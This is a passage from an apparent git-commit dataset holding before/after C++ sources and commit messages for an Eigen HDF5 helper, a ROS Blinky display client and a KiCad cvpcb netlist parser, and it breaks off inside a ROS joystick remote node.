const_cast<Eigen::DenseBase<Derived> &>(mat);\n mat_.derived().resize(rows, cols);\n mat_ = Eigen::Map<Eigen::Matrix<Scalar, Eigen::Dynamic, Eigen::Dynamic, Eigen::RowMajor> >(data.data(), rows, cols);\n}\n\n} \/\/ namespace EigenHDF5\n\n#endif\n<commit_msg>work for long integer types<commit_after>#ifndef _EIGEN3_HDF5_HPP\n#define _EIGEN3_HDF5_HPP\n\n#include <array>\n#include <cassert>\n#include <complex>\n#include <cstddef>\n#include <stdexcept>\n#include <string>\n#include <vector>\n\n\/\/#include <hdf5.h>\n#include <H5Cpp.h>\n#include <Eigen\/Dense>\n\nnamespace EigenHDF5\n{\n\ntemplate <typename T>\nstruct DatatypeSpecialization;\n\n\/\/ floating-point types\n\ntemplate <>\nstruct DatatypeSpecialization<float>\n{\n static inline const H5::DataType * get (void)\n {\n return &H5::PredType::NATIVE_FLOAT;\n }\n};\n\ntemplate <>\nstruct DatatypeSpecialization<double>\n{\n static inline const H5::DataType * get (void)\n {\n return &H5::PredType::NATIVE_DOUBLE;\n }\n};\n\ntemplate <>\nstruct DatatypeSpecialization<long double>\n{\n static inline const H5::DataType * get (void)\n {\n return &H5::PredType::NATIVE_LDOUBLE;\n }\n};\n\n\/\/ integer types\n\ntemplate <>\nstruct DatatypeSpecialization<int>\n{\n static inline const H5::DataType * get (void)\n {\n return &H5::PredType::NATIVE_INT;\n }\n};\n\ntemplate <>\nstruct DatatypeSpecialization<unsigned int>\n{\n static inline const H5::DataType * get (void)\n {\n return &H5::PredType::NATIVE_UINT;\n }\n};\n\ntemplate <>\nstruct DatatypeSpecialization<long>\n{\n static inline const H5::DataType * get (void)\n {\n return &H5::PredType::NATIVE_LONG;\n }\n};\n\ntemplate <>\nstruct DatatypeSpecialization<unsigned long>\n{\n static inline const H5::DataType * get (void)\n {\n return &H5::PredType::NATIVE_ULONG;\n }\n};\n\n\/\/ complex types\n\/\/\n\/\/ inspired by http:\/\/www.mail-archive.com\/hdf-forum@hdfgroup.org\/msg00759.html\n\ntemplate <typename T>\nclass ComplexH5Type : public H5::CompType\n{\npublic:\n ComplexH5Type (void)\n : CompType(sizeof(std::complex<T>))\n {\n const H5::DataType * const datatype = DatatypeSpecialization<T>::get();\n assert(datatype->getSize() == sizeof(T));\n \/\/ If we call the members \"r\" and \"i\", h5py interprets the\n \/\/ structure correctly as complex numbers.\n this->insertMember(std::string(\"r\"), 0, *datatype);\n this->insertMember(std::string(\"i\"), sizeof(T), *datatype);\n this->pack();\n }\n\n static const ComplexH5Type<T> * get_singleton (void)\n {\n \/\/ NOTE: constructing this could be a race condition\n static ComplexH5Type<T> singleton;\n return &singleton;\n }\n};\n\ntemplate <typename T>\nstruct DatatypeSpecialization<std::complex<T> >\n{\n static inline const H5::DataType * get (void)\n {\n return ComplexH5Type<T>::get_singleton();\n }\n};\n\n\/\/ see http:\/\/eigen.tuxfamily.org\/dox\/TopicFunctionTakingEigenTypes.html\n\ntemplate <typename Derived>\nvoid save (H5::CommonFG &h5group, const std::string &name, const Eigen::EigenBase<Derived> &mat, const H5::DSetCreatPropList &plist=H5::DSetCreatPropList::DEFAULT)\n{\n typedef typename Derived::Scalar Scalar;\n const Eigen::Matrix<Scalar, Eigen::Dynamic, Eigen::Dynamic, Eigen::RowMajor> row_major_mat(mat);\n const std::array<hsize_t, 2> dimensions = { {\n static_cast<hsize_t>(mat.rows()),\n static_cast<hsize_t>(mat.cols())\n } };\n const H5::DataSpace dataspace(dimensions.size(), dimensions.data());\n const H5::DataType * const datatype = DatatypeSpecialization<Scalar>::get();\n H5::DataSet dataset = h5group.createDataSet(name, *datatype, dataspace, plist);\n dataset.write(row_major_mat.data(), *datatype);\n}\n\ntemplate <typename Derived>\nvoid load (const H5::CommonFG &h5group, const std::string &name, const Eigen::DenseBase<Derived> &mat)\n{\n typedef typename Derived::Scalar Scalar;\n const H5::DataSet dataset = h5group.openDataSet(name);\n const H5::DataSpace dataspace = dataset.getSpace();\n const std::size_t ndims = dataspace.getSimpleExtentNdims();\n assert(ndims > 0);\n std::array<hsize_t, 2> dimensions;\n dimensions[1] = 1; \/\/ in case it's 1D\n if (ndims > dimensions.size()) {\n throw std::runtime_error(\"HDF5 array has too many dimensions.\");\n }\n dataspace.getSimpleExtentDims(dimensions.data());\n const hsize_t rows = dimensions[0], cols = dimensions[1];\n std::vector<Scalar> data(rows * cols);\n const H5::DataType * const datatype = DatatypeSpecialization<Scalar>::get();\n dataset.read(data.data(), *datatype, dataspace);\n \/\/ see http:\/\/eigen.tuxfamily.org\/dox\/TopicFunctionTakingEigenTypes.html\n Eigen::DenseBase<Derived> &mat_ = const_cast<Eigen::DenseBase<Derived> &>(mat);\n mat_.derived().resize(rows, cols);\n mat_ = Eigen::Map<Eigen::Matrix<Scalar, Eigen::Dynamic, Eigen::Dynamic, Eigen::RowMajor> >(data.data(), rows, cols);\n}\n\n} \/\/ namespace EigenHDF5\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>#include \"rapid_display\/display.h\"\n\n#include \"actionlib\/client\/simple_action_client.h\"\n#include \"blinky\/FaceAction.h\"\n#include \"ros\/ros.h\"\n\n#include \"rapid_ros\/action_client.h\"\n\nusing ros::Duration;\n\nnamespace rapid {\nnamespace display {\nBlinky::Blinky(rapid_ros::ActionClientInterface<blinky::FaceAction>* client)\n : client_(client), server_wait_time_(5) {}\n\nBlinky::~Blinky() {\n if (client_ != NULL) {\n delete client_;\n } else {\n ROS_ERROR(\"Pointer to ActionClient was null!\");\n }\n}\n\nbool Blinky::ShowDefault() {\n if (client_ == NULL) {\n ROS_ERROR(\"Pointer to ActionClient was null!\");\n return false;\n }\n if (!WaitForServer(server_wait_time_)) {\n ROS_ERROR(\"Timed out waiting for the Blinky server.\");\n return false;\n }\n blinky::FaceGoal goal;\n goal.display_type = goal.DEFAULT;\n client_->sendGoal(goal);\n if (!client_->waitForResult(Duration(server_wait_time_))) {\n ROS_ERROR(\"Timed out waiting for Blinky result.\");\n return false;\n }\n return true;\n}\n\nbool Blinky::ShowMessage(const std::string& h1_text,\n const std::string& h2_text) {\n if (client_ == NULL) {\n ROS_ERROR(\"Pointer to ActionClient was null!\");\n return false;\n }\n if (!WaitForServer(server_wait_time_)) {\n ROS_ERROR(\"Timed out waiting for the Blinky server.\");\n return false;\n }\n blinky::FaceGoal goal;\n goal.display_type = goal.DISPLAY_MESSAGE;\n goal.h1_text = h1_text;\n goal.h2_text = h2_text;\n client_->sendGoal(goal);\n if (!client_->waitForResult(Duration(server_wait_time_))) {\n ROS_ERROR(\"Timed out waiting for Blinky result.\");\n return false;\n }\n return true;\n}\n\nbool Blinky::AskMultipleChoice(const std::string& question,\n const std::vector<std::string>& choices,\n std::string* choice) {\n if (client_ == NULL) {\n ROS_ERROR(\"Pointer to ActionClient was null!\");\n return false;\n }\n if (!WaitForServer(server_wait_time_)) {\n ROS_ERROR(\"Timed out waiting for the Blinky server.\");\n return false;\n }\n blinky::FaceGoal goal;\n goal.display_type = goal.ASK_CHOICE;\n goal.question = question;\n goal.choices = choices;\n client_->sendGoal(goal);\n blinky::FaceResultConstPtr result = client_->getResult();\n *choice = result->choice;\n return true;\n}\n\nbool Blinky::WaitForServer(const int seconds) {\n if (client_ == NULL) {\n ROS_ERROR(\"Pointer to ActionClient was null!\");\n return false;\n }\n Duration duration(seconds);\n return client_->waitForServer(duration);\n}\n} \/\/ namespace display\n} \/\/ namespace rapid\n<commit_msg>Actually wait for the result.<commit_after>#include \"rapid_display\/display.h\"\n\n#include \"actionlib\/client\/simple_action_client.h\"\n#include \"blinky\/FaceAction.h\"\n#include \"ros\/ros.h\"\n\n#include \"rapid_ros\/action_client.h\"\n\nusing ros::Duration;\n\nnamespace rapid {\nnamespace display {\nBlinky::Blinky(rapid_ros::ActionClientInterface<blinky::FaceAction>* client)\n : client_(client), server_wait_time_(5) {}\n\nBlinky::~Blinky() {\n if (client_ != NULL) {\n delete client_;\n } else {\n ROS_ERROR(\"Pointer to ActionClient was null!\");\n }\n}\n\nbool Blinky::ShowDefault() {\n if (client_ == NULL) {\n ROS_ERROR(\"Pointer to ActionClient was null!\");\n return false;\n }\n if (!WaitForServer(server_wait_time_)) {\n ROS_ERROR(\"Timed out waiting for the Blinky server.\");\n return false;\n }\n blinky::FaceGoal goal;\n goal.display_type = goal.DEFAULT;\n client_->sendGoal(goal);\n if (!client_->waitForResult(Duration(server_wait_time_))) {\n ROS_ERROR(\"Timed out waiting for Blinky result.\");\n return false;\n }\n return true;\n}\n\nbool Blinky::ShowMessage(const std::string& h1_text,\n const std::string& h2_text) {\n if (client_ == NULL) {\n ROS_ERROR(\"Pointer to ActionClient was null!\");\n return false;\n }\n if (!WaitForServer(server_wait_time_)) {\n ROS_ERROR(\"Timed out waiting for the Blinky server.\");\n return false;\n }\n blinky::FaceGoal goal;\n goal.display_type = goal.DISPLAY_MESSAGE;\n goal.h1_text = h1_text;\n goal.h2_text = h2_text;\n client_->sendGoal(goal);\n if (!client_->waitForResult(Duration(server_wait_time_))) {\n ROS_ERROR(\"Timed out waiting for Blinky result.\");\n return false;\n }\n return true;\n}\n\nbool Blinky::AskMultipleChoice(const std::string& question,\n const std::vector<std::string>& choices,\n std::string* choice) {\n if (client_ == NULL) {\n ROS_ERROR(\"Pointer to ActionClient was null!\");\n return false;\n }\n if (!WaitForServer(server_wait_time_)) {\n ROS_ERROR(\"Timed out waiting for the Blinky server.\");\n return false;\n }\n blinky::FaceGoal goal;\n goal.display_type = goal.ASK_CHOICE;\n goal.question = question;\n goal.choices = choices;\n client_->sendGoal(goal);\n client_->waitForResult();\n blinky::FaceResultConstPtr result = client_->getResult();\n *choice = result->choice;\n return true;\n}\n\nbool Blinky::WaitForServer(const int seconds) {\n if (client_ == NULL) {\n ROS_ERROR(\"Pointer to ActionClient was null!\");\n return false;\n }\n Duration duration(seconds);\n return client_->waitForServer(duration);\n}\n} \/\/ namespace display\n} \/\/ namespace rapid\n<|endoftext|>"} {"text":"<commit_before>\/****************************\/\n\/* readschematicnetlist.cpp *\/\n\/****************************\/\n\n\/* Read a nelist type Eeschema or OrcadPCB2 and build the component list\n * Manages the lines like :\n * ( XXXXXX VALEUR|(pin1,pin2,...=newalim) ID VALEUR\n *\/\n\n#include \"fctsys.h\"\n#include \"wxstruct.h\"\n#include \"common.h\"\n#include \"confirm.h\"\n#include \"kicad_string.h\"\n#include \"macros.h\"\n\n#include \"cvpcb.h\"\n#include \"protos.h\"\n#include \"cvstruct.h\"\n\n\n#define SEPARATEUR '|' \/* caractere separateur dans netliste *\/\n\n\/* routines locales : *\/\n\nstatic int ReadPinConnection( FILE* f, COMPONENT* CurrentCmp );\n\n\/* Tri la liste des composants par ordre alphabetique et met a jour le nouveau\n * chainage avant\/arriere retourne un pointeur sur le 1er element de la liste *\/\n\n#define BUFFER_CHAR_SIZE 1024 \/\/ Size of buffers used to store netlist data\n\n\n\/**\n * Function ReadSchematicNetlist\n * Read a Eeschema (or OrcadPCB) netlist\n * like:\n * # EESchema Netlist Version 1.1 created 15\/5\/2008-12:09:21\n * (\n * ( \/32568D1E $noname JP1 CONN_8X2 {Lib=CONN_8X2}\n * ( 1 GND )\n * ( 2 \/REF10 )\n * ( 3 GND )\n * ( 4 \/REF11 )\n * ( 5 GND )\n * ( 6 \/REF7 )\n * ( 7 GND )\n * ( 8 \/REF9 )\n * ( 9 GND )\n * ( 10 \/REF6 )\n * ( 11 GND )\n * ( 12 \/REF8 )\n * ( 13 GND )\n * ( 14 \/REF4 )\n * ( 15 GND )\n * ( 16 \/REF5 )\n * )\n * ( \/325679C1 $noname RR1 9x1K {Lib=RR9}\n * ( 1 VCC )\n * ( 2 \/REF5 )\n * ( 3 \/REF4 )\n * ( 4 \/REF8 )\n * ( 5 \/REF6 )\n * ( 6 \/REF9 )\n * ( 7 \/REF7 )\n * ( 8 \/REF11 )\n * ( 9 \/REF10 )\n * ( 10 ? )\n * )\n * )\n * *\n * { Allowed footprints by component:\n * $component R5\n * R?\n * SM0603\n * SM0805\n * $endlist\n * $component C2\n * SM*\n * C?\n * C1-1\n * $endlist\n * $endfootprintlist\n * }\n *\/\nint WinEDA_CvpcbFrame::ReadSchematicNetlist()\n{\n char alim[1024];\n int i, k, l;\n char* LibName;\n char Line[BUFFER_CHAR_SIZE + 1];\n wxString component_reference; \/* buffer for component reference (U1, R4...) *\/\n wxString schematic_timestamp; \/* buffer for component time stamp *\/\n wxString footprint_name; \/* buffer for component footprint field *\/\n wxString component_value; \/* buffer for component values (470K, 22nF ...) *\/\n char* ptchar;\n COMPONENT* Cmp;\n FILE* source;\n\n m_modified = false;\n m_isEESchemaNetlist = false;\n\n \/* Clear components buffer *\/\n if( !m_components.empty() )\n {\n m_components.clear();\n }\n\n source = wxFopen( m_NetlistFileName.GetFullPath(), wxT( \"rt\" ) );\n\n if( source == 0 )\n {\n DisplayError( this, _( \"File <\" ) + m_NetlistFileName.GetFullPath() +\n _( \"> not found\" ) );\n return -1;\n }\n\n \/* Read the file header (must be \"( { OrCAD PCB\" or \"({ OrCAD PCB\" )\n * or \"# EESchema Netliste\"\n *\/\n (void) fgets( Line, BUFFER_CHAR_SIZE, source );\n \/* test for netlist type PCB2 *\/\n i = strnicmp( Line, \"( {\", 3 );\n if( i != 0 )\n i = strnicmp( Line, \"({\", 2 );\n if( i != 0 )\n {\n i = strnicmp( Line, \"# EESchema\", 7 ); \/* net type EESchema *\/\n if( i == 0 )\n m_isEESchemaNetlist = TRUE;\n }\n\n if( i != 0 )\n {\n wxString msg, Lineconv = CONV_FROM_UTF8( Line );\n msg.Printf( _( \"Unknown file format <%s>\" ), Lineconv.GetData() );\n DisplayError( this, msg );\n fclose( source );\n return -3;\n }\n\n SetStatusText( _( \"Netlist Format: EESchema\" ), 0 );\n\n\n \/* Read the netlist *\/\n for( ; ; )\n {\n \/* Search the beginning of a component description *\/\n\n if( fgets( Line, BUFFER_CHAR_SIZE, source ) == 0 )\n break;\n\n \/* Remove blanks *\/\n i = 0; while( Line[i] == ' ' )\n i++;\n\n \/* remove empty lines : *\/\n if( Line[i] < ' ' )\n continue;\n\n if( strnicmp( &Line[i], \"{ Allowed footprints\", 20 ) == 0 )\n {\n ReadFootprintFilterList( source );\n continue;\n }\n\n if( strnicmp( &Line[i], \"( \", 2 ) != 0 )\n continue;\n\n \/*******************************\/\n \/* Component description found *\/\n \/*******************************\/\n while( Line[i] != ' ' )\n i++;\n\n while( Line[i] == ' ' )\n i++;\n\n \/* i points the beginning of the schematic time stamp *\/\n\n schematic_timestamp.Empty();\n while( Line[i] != ' ' )\n schematic_timestamp.Append( Line[i++] );\n\n \/* search val\/ref.lib *\/\n while( Line[i] == ' ' )\n i++;\n\n \/* i points the component value *\/\n LibName = Line + i;\n\n component_reference.Empty();\n footprint_name.Empty();\n component_value.Empty();\n memset( alim, 0, sizeof(alim) );\n\n \/* Read value *\/\n\n ptchar = strstr( &Line[i], \" \" ); \/\/ Search end of value field (space)\n if( ptchar == 0 )\n {\n wxString msg;\n msg.Printf( _( \"Netlist error: %s\" ), Line );\n DisplayError( this, msg );\n k = 0;\n }\n else\n k = ptchar - Line;\n\n for( ; i < k; i++ )\n {\n if( Line[i] == SEPARATEUR )\n break;\n footprint_name.Append( Line[i] );\n }\n\n if( (Line[++i] == '(') && (Line[k - 1] == ')' ) )\n {\n i++; l = 0; while( k - 1 > i )\n alim[l++] = Line[i++];\n }\n else\n i = k;\n\n \/* Search component reference *\/\n while( Line[i] != ' ' )\n i++;\n\n \/* goto end of value field *\/\n while( Line[i] == ' ' )\n i++;\n\n \/* goto beginning of reference *\/\n\n \/* debut reference trouv *\/\n for( ; ; i++ )\n {\n#if defined(KICAD_GOST)\n if( Line[i] == ' ' )\n#else\n if( Line[i] <= ' ' )\n#endif\n break;\n component_reference.Append( Line[i] );\n }\n\n \/* Search component value *\/\n while( Line[i] == ' ' )\n i++;\n\n \/** goto beginning of value *\/\n\n for( ; ; i++ )\n {\n#if defined(KICAD_GOST)\n if( (Line[i] == ' ') || (Line[i] == '\\n') )\n#else\n if( Line[i] <= ' ' )\n#endif\n break;\n component_value.Append( Line[i] );\n }\n\n \/* Store info for this component *\/\n Cmp = new COMPONENT();\n Cmp->m_Reference = component_reference;\n Cmp->m_Value = component_value;\n m_components.push_back( Cmp );\n\n if( m_isEESchemaNetlist ) \/* copy footprint name: *\/\n {\n if( strnicmp( LibName, \"$noname\", 7 ) != 0 )\n {\n while( *LibName > ' ' )\n {\n Cmp->m_Module.Append( *LibName );\n LibName++;\n }\n }\n }\n Cmp->m_TimeStamp = schematic_timestamp;\n\n ReadPinConnection( source, Cmp );\n }\n\n fclose( source );\n\n m_components.sort();\n\n return 0;\n}\n\n\nint WinEDA_CvpcbFrame::ReadFootprintFilterList( FILE* f )\n{\n char Line[BUFFER_CHAR_SIZE + 1];\n wxString CmpRef;\n COMPONENT* Cmp = NULL;\n\n for( ; ; )\n {\n if( fgets( Line, BUFFER_CHAR_SIZE, f ) == 0 )\n break;\n if( strnicmp( Line, \"$endlist\", 8 ) == 0 )\n {\n Cmp = NULL;\n continue;\n }\n if( strnicmp( Line, \"$endfootprintlist\", 4 ) == 0 )\n return 0;\n\n if( strnicmp( Line, \"$component\", 10 ) == 0 ) \/\/ New component ref found\n {\n CmpRef = CONV_FROM_UTF8( Line + 11 );\n CmpRef.Trim( TRUE );\n CmpRef.Trim( FALSE );\n\n \/* Search the new component in list *\/\n BOOST_FOREACH( COMPONENT& component, m_components )\n {\n Cmp = &component;\n\n if( Cmp->m_Reference == CmpRef )\n break;\n }\n }\n else if( Cmp )\n {\n wxString fp = CONV_FROM_UTF8( Line + 1 );\n fp.Trim( FALSE );\n fp.Trim( TRUE );\n Cmp->m_FootprintFilter.Add( fp );\n }\n }\n\n return 1;\n}\n\n\nint ReadPinConnection( FILE* f, COMPONENT* Cmp )\n{\n int i, jj;\n wxString numpin;\n wxString net;\n char Line[BUFFER_CHAR_SIZE + 1];\n PIN* Pin = NULL;\n\n for( ; ; )\n {\n \/* debut description trouv *\/\n for( ; ; )\n {\n if( fgets( Line, BUFFER_CHAR_SIZE, f ) == 0 )\n return -1;\n\n \/* remove blanks from the beginning of the line *\/\n i = 0; while( Line[i] == ' ' )\n i++;\n\n while( Line[i] == '(' )\n i++;\n\n while( Line[i] == ' ' )\n i++;\n\n \/* remove empty lines : *\/\n if( Line[i] < ' ' )\n continue;\n\n \/* fin de description ? *\/\n if( Line[i] == ')' )\n return 0;\n\n net.Empty();\n numpin.Empty();\n\n \/* Read pin name , 4 letters *\/\n for( jj = 0; jj < 4; jj++, i++ )\n {\n if( Line[i] == ' ' )\n break;\n numpin.Append( Line[i] );\n }\n\n \/* Read netname *\/\n while( Line[i] == ' ' )\n i++;\n\n for( ; ; i++ )\n {\n if( Line[i] <= ' ' )\n break;\n net.Append( Line[i] );\n }\n\n Pin = new PIN();\n Pin->m_Number = numpin;\n Pin->m_Net = net;\n Cmp->m_Pins.push_back( Pin );\n }\n }\n}\n<commit_msg>cvpcb: russian GOST windows bug fix<commit_after>\/****************************\/\n\/* readschematicnetlist.cpp *\/\n\/****************************\/\n\n\/* Read a nelist type Eeschema or OrcadPCB2 and build the component list\n * Manages the lines like :\n * ( XXXXXX VALEUR|(pin1,pin2,...=newalim) ID VALEUR\n *\/\n\n#include \"fctsys.h\"\n#include \"wxstruct.h\"\n#include \"common.h\"\n#include \"confirm.h\"\n#include \"kicad_string.h\"\n#include \"macros.h\"\n\n#include \"cvpcb.h\"\n#include \"protos.h\"\n#include \"cvstruct.h\"\n\n\n#define SEPARATEUR '|' \/* caractere separateur dans netliste *\/\n\n\/* routines locales : *\/\n\nstatic int ReadPinConnection( FILE* f, COMPONENT* CurrentCmp );\n\n\/* Tri la liste des composants par ordre alphabetique et met a jour le nouveau\n * chainage avant\/arriere retourne un pointeur sur le 1er element de la liste *\/\n\n#define BUFFER_CHAR_SIZE 1024 \/\/ Size of buffers used to store netlist data\n\n\n\/**\n * Function ReadSchematicNetlist\n * Read a Eeschema (or OrcadPCB) netlist\n * like:\n * # EESchema Netlist Version 1.1 created 15\/5\/2008-12:09:21\n * (\n * ( \/32568D1E $noname JP1 CONN_8X2 {Lib=CONN_8X2}\n * ( 1 GND )\n * ( 2 \/REF10 )\n * ( 3 GND )\n * ( 4 \/REF11 )\n * ( 5 GND )\n * ( 6 \/REF7 )\n * ( 7 GND )\n * ( 8 \/REF9 )\n * ( 9 GND )\n * ( 10 \/REF6 )\n * ( 11 GND )\n * ( 12 \/REF8 )\n * ( 13 GND )\n * ( 14 \/REF4 )\n * ( 15 GND )\n * ( 16 \/REF5 )\n * )\n * ( \/325679C1 $noname RR1 9x1K {Lib=RR9}\n * ( 1 VCC )\n * ( 2 \/REF5 )\n * ( 3 \/REF4 )\n * ( 4 \/REF8 )\n * ( 5 \/REF6 )\n * ( 6 \/REF9 )\n * ( 7 \/REF7 )\n * ( 8 \/REF11 )\n * ( 9 \/REF10 )\n * ( 10 ? )\n * )\n * )\n * *\n * { Allowed footprints by component:\n * $component R5\n * R?\n * SM0603\n * SM0805\n * $endlist\n * $component C2\n * SM*\n * C?\n * C1-1\n * $endlist\n * $endfootprintlist\n * }\n *\/\nint WinEDA_CvpcbFrame::ReadSchematicNetlist()\n{\n char alim[1024];\n int i, k, l;\n char* LibName;\n char Line[BUFFER_CHAR_SIZE + 1];\n wxString component_reference; \/* buffer for component reference (U1, R4...) *\/\n wxString schematic_timestamp; \/* buffer for component time stamp *\/\n wxString footprint_name; \/* buffer for component footprint field *\/\n wxString component_value; \/* buffer for component values (470K, 22nF ...) *\/\n char* ptchar;\n COMPONENT* Cmp;\n FILE* source;\n\n m_modified = false;\n m_isEESchemaNetlist = false;\n\n \/* Clear components buffer *\/\n if( !m_components.empty() )\n {\n m_components.clear();\n }\n\n source = wxFopen( m_NetlistFileName.GetFullPath(), wxT( \"rt\" ) );\n\n if( source == 0 )\n {\n DisplayError( this, _( \"File <\" ) + m_NetlistFileName.GetFullPath() +\n _( \"> not found\" ) );\n return -1;\n }\n\n \/* Read the file header (must be \"( { OrCAD PCB\" or \"({ OrCAD PCB\" )\n * or \"# EESchema Netliste\"\n *\/\n (void) fgets( Line, BUFFER_CHAR_SIZE, source );\n \/* test for netlist type PCB2 *\/\n i = strnicmp( Line, \"( {\", 3 );\n if( i != 0 )\n i = strnicmp( Line, \"({\", 2 );\n if( i != 0 )\n {\n i = strnicmp( Line, \"# EESchema\", 7 ); \/* net type EESchema *\/\n if( i == 0 )\n m_isEESchemaNetlist = TRUE;\n }\n\n if( i != 0 )\n {\n wxString msg, Lineconv = CONV_FROM_UTF8( Line );\n msg.Printf( _( \"Unknown file format <%s>\" ), Lineconv.GetData() );\n DisplayError( this, msg );\n fclose( source );\n return -3;\n }\n\n SetStatusText( _( \"Netlist Format: EESchema\" ), 0 );\n\n\n \/* Read the netlist *\/\n for( ; ; )\n {\n \/* Search the beginning of a component description *\/\n\n if( fgets( Line, BUFFER_CHAR_SIZE, source ) == 0 )\n break;\n\n \/* Remove blanks *\/\n i = 0; while( Line[i] == ' ' )\n i++;\n\n \/* remove empty lines : *\/\n if( Line[i] < ' ' )\n continue;\n\n if( strnicmp( &Line[i], \"{ Allowed footprints\", 20 ) == 0 )\n {\n ReadFootprintFilterList( source );\n continue;\n }\n\n if( strnicmp( &Line[i], \"( \", 2 ) != 0 )\n continue;\n\n \/*******************************\/\n \/* Component description found *\/\n \/*******************************\/\n while( Line[i] != ' ' )\n i++;\n\n while( Line[i] == ' ' )\n i++;\n\n \/* i points the beginning of the schematic time stamp *\/\n\n schematic_timestamp.Empty();\n while( Line[i] != ' ' )\n schematic_timestamp.Append( Line[i++] );\n\n \/* search val\/ref.lib *\/\n while( Line[i] == ' ' )\n i++;\n\n \/* i points the component value *\/\n LibName = Line + i;\n\n component_reference.Empty();\n footprint_name.Empty();\n component_value.Empty();\n memset( alim, 0, sizeof(alim) );\n\n \/* Read value *\/\n\n ptchar = strstr( &Line[i], \" \" ); \/\/ Search end of value field (space)\n if( ptchar == 0 )\n {\n wxString msg;\n msg.Printf( _( \"Netlist error: %s\" ), Line );\n DisplayError( this, msg );\n k = 0;\n }\n else\n k = ptchar - Line;\n\n for( ; i < k; i++ )\n {\n if( Line[i] == SEPARATEUR )\n break;\n footprint_name.Append( Line[i] );\n }\n\n if( (Line[++i] == '(') && (Line[k - 1] == ')' ) )\n {\n i++; l = 0; while( k - 1 > i )\n alim[l++] = Line[i++];\n }\n else\n i = k;\n\n \/* Search component reference *\/\n while( Line[i] != ' ' )\n i++;\n\n \/* goto end of value field *\/\n while( Line[i] == ' ' )\n i++;\n\n \/* goto beginning of reference *\/\n\n \/* debut reference trouv *\/\n for( ; ; i++ )\n {\n#if defined(KICAD_GOST)\n if( Line[i] == ' ' )\n#else\n if( Line[i] <= ' ' )\n#endif\n break;\n component_reference.Append( Line[i] );\n }\n\n \/* Search component value *\/\n while( Line[i] == ' ' )\n i++;\n\n \/** goto beginning of value *\/\n\n for( ; ; i++ )\n {\n#if defined(KICAD_GOST)\n if( (Line[i] == ' ') || (Line[i] == '\\n') || (Line[i] == '\\r') )\n#else\n if( Line[i] <= ' ' )\n#endif\n break;\n component_value.Append( Line[i] );\n }\n\n \/* Store info for this component *\/\n Cmp = new COMPONENT();\n Cmp->m_Reference = component_reference;\n Cmp->m_Value = component_value;\n m_components.push_back( Cmp );\n\n if( m_isEESchemaNetlist ) \/* copy footprint name: *\/\n {\n if( strnicmp( LibName, \"$noname\", 7 ) != 0 )\n {\n while( *LibName > ' ' )\n {\n Cmp->m_Module.Append( *LibName );\n LibName++;\n }\n }\n }\n Cmp->m_TimeStamp = schematic_timestamp;\n\n ReadPinConnection( source, Cmp );\n }\n\n fclose( source );\n\n m_components.sort();\n\n return 0;\n}\n\n\nint WinEDA_CvpcbFrame::ReadFootprintFilterList( FILE* f )\n{\n char Line[BUFFER_CHAR_SIZE + 1];\n wxString CmpRef;\n COMPONENT* Cmp = NULL;\n\n for( ; ; )\n {\n if( fgets( Line, BUFFER_CHAR_SIZE, f ) == 0 )\n break;\n if( strnicmp( Line, \"$endlist\", 8 ) == 0 )\n {\n Cmp = NULL;\n continue;\n }\n if( strnicmp( Line, \"$endfootprintlist\", 4 ) == 0 )\n return 0;\n\n if( strnicmp( Line, \"$component\", 10 ) == 0 ) \/\/ New component ref found\n {\n CmpRef = CONV_FROM_UTF8( Line + 11 );\n CmpRef.Trim( TRUE );\n CmpRef.Trim( FALSE );\n\n \/* Search the new component in list *\/\n BOOST_FOREACH( COMPONENT& component, m_components )\n {\n Cmp = &component;\n\n if( Cmp->m_Reference == CmpRef )\n break;\n }\n }\n else if( Cmp )\n {\n wxString fp = CONV_FROM_UTF8( Line + 1 );\n fp.Trim( FALSE );\n fp.Trim( TRUE );\n Cmp->m_FootprintFilter.Add( fp );\n }\n }\n\n return 1;\n}\n\n\nint ReadPinConnection( FILE* f, COMPONENT* Cmp )\n{\n int i, jj;\n wxString numpin;\n wxString net;\n char Line[BUFFER_CHAR_SIZE + 1];\n PIN* Pin = NULL;\n\n for( ; ; )\n {\n \/* debut description trouv *\/\n for( ; ; )\n {\n if( fgets( Line, BUFFER_CHAR_SIZE, f ) == 0 )\n return -1;\n\n \/* remove blanks from the beginning of the line *\/\n i = 0; while( Line[i] == ' ' )\n i++;\n\n while( Line[i] == '(' )\n i++;\n\n while( Line[i] == ' ' )\n i++;\n\n \/* remove empty lines : *\/\n if( Line[i] < ' ' )\n continue;\n\n \/* fin de description ? *\/\n if( Line[i] == ')' )\n return 0;\n\n net.Empty();\n numpin.Empty();\n\n \/* Read pin name , 4 letters *\/\n for( jj = 0; jj < 4; jj++, i++ )\n {\n if( Line[i] == ' ' )\n break;\n numpin.Append( Line[i] );\n }\n\n \/* Read netname *\/\n while( Line[i] == ' ' )\n i++;\n\n for( ; ; i++ )\n {\n if( Line[i] <= ' ' )\n break;\n net.Append( Line[i] );\n }\n\n Pin = new PIN();\n Pin->m_Number = numpin;\n Pin->m_Net = net;\n Cmp->m_Pins.push_back( Pin );\n }\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n* @Copyright: Copyright[2015]<Alejandro Bordallo>\n* @Date: 2015-05-17\n* @Email: alex.bordallo@ed.ac.uk\n* @Desc: Joystick remote control node\n*\/\n\n#include \"joy_remote.h\"\n\nJoyRemote::JoyRemote(ros::NodeHandle* nh) {\n nh_ = nh;\n joy_sub_ = nh_->subscribe(\"joy\", 1000, &JoyRemote::joyCallback, this);\n moveTowardClient = nh_->serviceClient<motion::MoveToward>(\n \"\/motion\/move_toward\", true);\n wakeUpClient = nh_->serviceClient<std_srvs::Empty>(\n \"\/motion\/wake_up\", true);\n moveInitClient = nh_->serviceClient<std_srvs::Empty>(\n \"\/motion\/move_init\", true);\n standClient = nh_->serviceClient<motion::SetPosture>(\n \"\/motion\/goto_posture\", true);\n restClient = nh_->serviceClient<std_srvs::Empty>(\n \"\/motion\/rest\", true);\n stopMoveClient = nh_->serviceClient<std_srvs::Empty>(\n \"\/motion\/stop_move\", true);\n INFO(\"Joystick remote node initialised\" << std::endl);\n wakeUpFlag = false;\n moveInitFlag = false;\n standFlag = false;\n restFlag = false;\n standSrv.request.speed = 1.0f;\n}\n\nJoyRemote::~JoyRemote() {\n ros::shutdown();\n}\n\nvoid JoyRemote::joyCallback(const sensor_msgs::Joy::ConstPtr& msg) {\n if (msg->buttons[1]) {\n wakeUpFlag = true;\n } else if (msg->buttons[2]) {\n moveInitFlag = true;\n } else if (msg->buttons[3]) {\n standFlag = true;\n } else if (msg->buttons[0]) {\n restFlag = true;\n } else {\n float x = msg->axes[1];\n float y = 